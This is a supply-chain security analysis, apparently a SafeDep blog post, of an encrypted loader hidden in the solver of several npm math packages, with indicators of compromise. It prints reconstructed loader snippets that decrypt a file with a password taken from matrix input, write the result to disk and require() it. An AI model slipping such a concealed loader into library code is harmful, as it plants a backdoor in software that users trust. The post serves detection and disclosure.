Why Does an npm Math Library Need an Encrypted Loader?
On this page
We found a loader for encrypted code inside [email protected], an npm mathematics library. It takes a password from the data passed to a solver. With the right input, it can decrypt a file and run its code. We found matching files in two more packages, but could not decrypt the payload.
We started with a SafeDep analysis of mathmain on September 17, 2026. The package looked like a copy of mathjs with a different name and obfuscated code. One added call in the solver led us to the loader.
A solver calls a type check
Near the end of lusolve(), we found an extra call in the CommonJS build. The solver had already calculated its result. It then passed data from the lower triangular matrix to removeSolveValidation():
// Readable reconstruction: recovered strings and renamed local variables.l && (q = removeSolveValidation(l._data));
return x;Here, l holds the lower triangular matrix and x holds the result. The solver returns x unchanged. It assigns the extra call’s return value to q, but does not use q again.
We followed removeSolveValidation() to isGraph(x) in lib/cjs/utils/is.js. This file contains checks such as isMatrix and isNumber. The added isGraph() function decrypts and loads code:
// Readable reconstruction: recovered strings and renamed local variables.const STAGE1_BLOB = 'IapMCmvlemBnFaU+3GZ4oF2xOhnczTlDWTO3oCfrHkWp1lSpHdCaeG0qn2neIoTetyRJtQ==';
function isGraph(x) { const password = JSON.stringify(x); const name = validEvent(STAGE1_BLOB, password); const target = path.join(__dirname, name); const mod = require(event(target, password));
return (x && mod.validGraph(password)) || false;}isGraph() converts its input to a JSON string and uses that string as a password. It first decrypts a filename. It then passes the file path and password to event(), and loads the returned path with require().
We have made the loader snippets easier to read by restoring strings and renaming local variables. The hashes at the end of this post identify the original files.
The matrix data becomes a password
In lib/cjs/utils/event.js, we found the decryption functions. They use scrypt to turn the password into a key of 256 bits. They then decrypt the data with Advanced Encryption Standard in Galois/Counter Mode (AES-GCM):
// Readable reconstruction: recovered strings and renamed local variables.const key = crypto.scryptSync(password, salt, 32);const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);decipher.setAuthTag(tag);return Buffer.concat([decipher.update(ciphertext), decipher.final()]);The encrypted data has a fixed layout: a salt of 16 bytes, an initialization vector of 12 bytes, and an authentication tag of 16 bytes. The ciphertext follows these fields. The package stores the whole sequence as base64 text.
For calls through the solver, the password is JSON.stringify(L._data). A caller can supply L through the object form of lusolve(). This means the caller’s matrix data must produce the correct password. We found no password stored in the visible loader.
The encrypted filename has eight bytes of ciphertext. We suspect it names graph.js, a file beside the loader whose name also takes eight bytes. We could not confirm this because we did not recover the password.
Decryption leads to a module write
The event() helper decrypts the file, writes the result to disk, and returns the output path:
// Readable reconstruction: recovered strings and renamed local variables.const plaintext = eventEmitter(file, password);const dir = path.dirname(path.resolve(file));const base = path.basename(file).replace(/^enc_/, '');const outPath = path.join(dir, base);fs.writeFileSync(outPath, plaintext);return outPath;If the filename has no enc_ prefix, the helper overwrites the encrypted file with the decrypted code. The require() call in isGraph() then loads it. That code would run with the same permissions as the Node.js process.
Three added files contain base64 data instead of normal JavaScript:
Path under lib/cjs/utils/ | Size of ciphertext in bytes |
|---|---|
graph.js | 20,918 |
fraction.js | 9,084 |
bignumber/type.js | 1,179,416 |
We found no reference to the last two files in the visible loader. We do not yet know what loads them.
We found no install hooks in the manifest. Importing the package through the path we reviewed does not activate the loader either. The solver must first pass its validation and calculation steps to reach the added call. If the password is wrong, validEvent() fails its authentication check before the helper writes any file.
Matching files lead to two more packages
We searched the npm registry and found two more packages: mathsbase and math-universe. Across five versions, we found identical loader files, trigger code, solver changes, and two large encrypted files.
The encrypted graph.js in [email protected] differs from the other copies. The shared files connect these releases. They do not tell us who added the loader or whether someone took over a publisher’s account.
On September 17, npm served [email protected] as the default release. That version did not contain this loader. Checking only the default version would have missed the code in 1.0.1.
Publication and investigation timeline
All times are in Coordinated Universal Time (UTC). We took publication times from the npm registry metadata.
| Date and time | Event |
|---|---|
| August 26, 2026, 08:14 | [email protected] published. No matching loader found. |
| August 27, 2026, 07:44 | [email protected] published with the loader and encrypted files. |
| September 15, 2026, 03:38 | [email protected] published without the matching loader. |
| September 16, 2026, 12:06 | [email protected] published with the loader. |
| September 16, 2026, 13:39 | [email protected] published with the loader. |
| September 16, 2026, 14:14 | [email protected] published with the loader, after 1.0.2. |
| September 17, 2026, 06:53 | [email protected] published with matching files. |
| September 17, 2026 | Source review, consumer searches, and further decryption attempts completed. No plaintext recovered. |
The public source leaves a gap
We could access the GitHub repositories listed by mathsbase and math-universe. Neither contained the loader in the source we reviewed:
| Repository | Reviewed commit |
|---|---|
github[.]com/tinystar8/mathsbase | 560d97e66140dbf817e04284a7a0c58757d1202e |
github[.]com/mathubio/math-universe | da99dd46501c75ba6102a51ef60ebb922174da32 |
For example, the solver in the public math-universe source ends like this:
// mathubio/math-universe, commit da99dd46501c75ba6102a51ef60ebb922174da32// src/function/algebra/solver/lusolve.js; original source excerpt.if (q) { x._data = csIpvec(q, x._data);}
return x;The extra removeSolveValidation() call is missing. We found it in the npm build, but found no explanation for it in the public source we reviewed.
We also searched GitHub for projects that imported these packages, listed them in lockfiles, or called the solver. We hoped to find a caller that supplied the password. Neither those searches nor dependency lookup services gave us one. Private applications and projects missing from search results remain outside that search.
The encrypted code remains unread
We tested 16,922 possible passwords against the encrypted filename. Some came from matrices with zero diagonal entries, which our earlier search had left out.
In a second search, we tested 533 possible passwords against all five distinct encrypted blobs, including the older graph.js. We tried common passwords and numeric arrays from the solver’s tests. Neither search found a password that passed the authentication check.
Some passwords appeared in both searches.
We checked the tools with test data and known passwords. The searches finished, but none of our guesses worked. We still need the correct password to find out what the encrypted code does.
A staging hypothesis
Our working theory is that someone could use these packages to store a payload for a later attack. A separate package could add one as a dependency and pass in the correct password. The separate package would contain the trigger, while its dependency would hold the encrypted payload.
The loader could support this approach, but we have not found a package using it that way. In SafeDep’s ulid-xyz investigation, we could trace the package that loaded the payload from a dependency. Here, that part of the chain is missing.
We consider the loader suspicious because it sits inside a solver and is absent from the public source we reviewed. But we have not shown that it steals credentials, contacts a server, or keeps access to a system. We need a caller with the right input, or the decrypted code, to settle what it does.
Indicators of compromise and investigation
Use these indicators to look for the packages and files we examined. Finding a match does not mean the encrypted code ran. We found no command and control endpoint in the code we could read.
| npm package version | Archive SHA-256 |
|---|---|
[email protected] | 1723a0df210ac61281a504f3a07ec3605d20151631e0635cc344cacc71019135 |
[email protected] | 03e13cdedd9c33e6fed25092b1ec7dcf11cc5962c0fbb6b3e90ba95bfec1b034 |
[email protected] | 7e5e1bcdc6a7b0e3437269a236b49ef2be4f77081c7de5130d503c103fd6be69 |
[email protected] | bfe772e7ee044fd6f0bdf53e83f44aad7c9ee1925baf0cf4d884a312aa9ba50e |
[email protected] | 4eb1d59df7dc80dbe3ec154481e61e8824422037092c188f0cc146b543615a66 |
These two file hashes also match across the five versions:
| File | SHA-256 |
|---|---|
lib/cjs/utils/event.js | ab66c98e8ed5235feb963ec8845765f62f5f26b1c58c266c409767e53bcb5ccd |
lib/cjs/utils/is.js | 5d9e952c51875d2b897eedc22b002b94ab21c8004d513bc99ce3a885f8a01dae |
You can also search for the encrypted string shown in the isGraph snippet. Use more than filenames to check a match. For example, [email protected] has ordinary source code at the same paths as the encrypted files.
Check manifests and lockfiles for the listed versions. If you find one, save a copy of the installed package before replacing it. Include any changed files. If the loader has run, those files may contain the decrypted code we could not recover.
- npm
- supply-chain
- package-analysis
Author
SafeDep Team
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering
OpenAI Agents Turned RubyGems Into a Scraping Proxy
Between May and July 2026, a swarm of AI agents published over 3,000 packages to RubyGems. The gems abused RubyDoc.info documentation builds to run a crawler on someone else's servers, then shipped...
Deep-Live-Cam Supply Chain Attack: Technical Analysis
A malicious dependency in Deep-Live-Cam loads a clipboard hijacker. We trace the installation trigger, Telegraph delivery, and Windows and macOS persistence.
The Agentic IDE Extension Blind Spot
Cursor can install most of the same extensions you had in Visual Studio Code, but not the same versions. Its Import VS Code Configuration step sends only the extension name, never the version. It...
Introducing SafeDep Threat Intel
SafeDep Threat Intel gives SOC and cyber defense teams the malicious package intelligence behind SafeDep's platform, to query or to push into the tools they already run.
Ship Code.
Not Malware.
Start free with open source tools on your machine. Scale to a unified platform for your organization.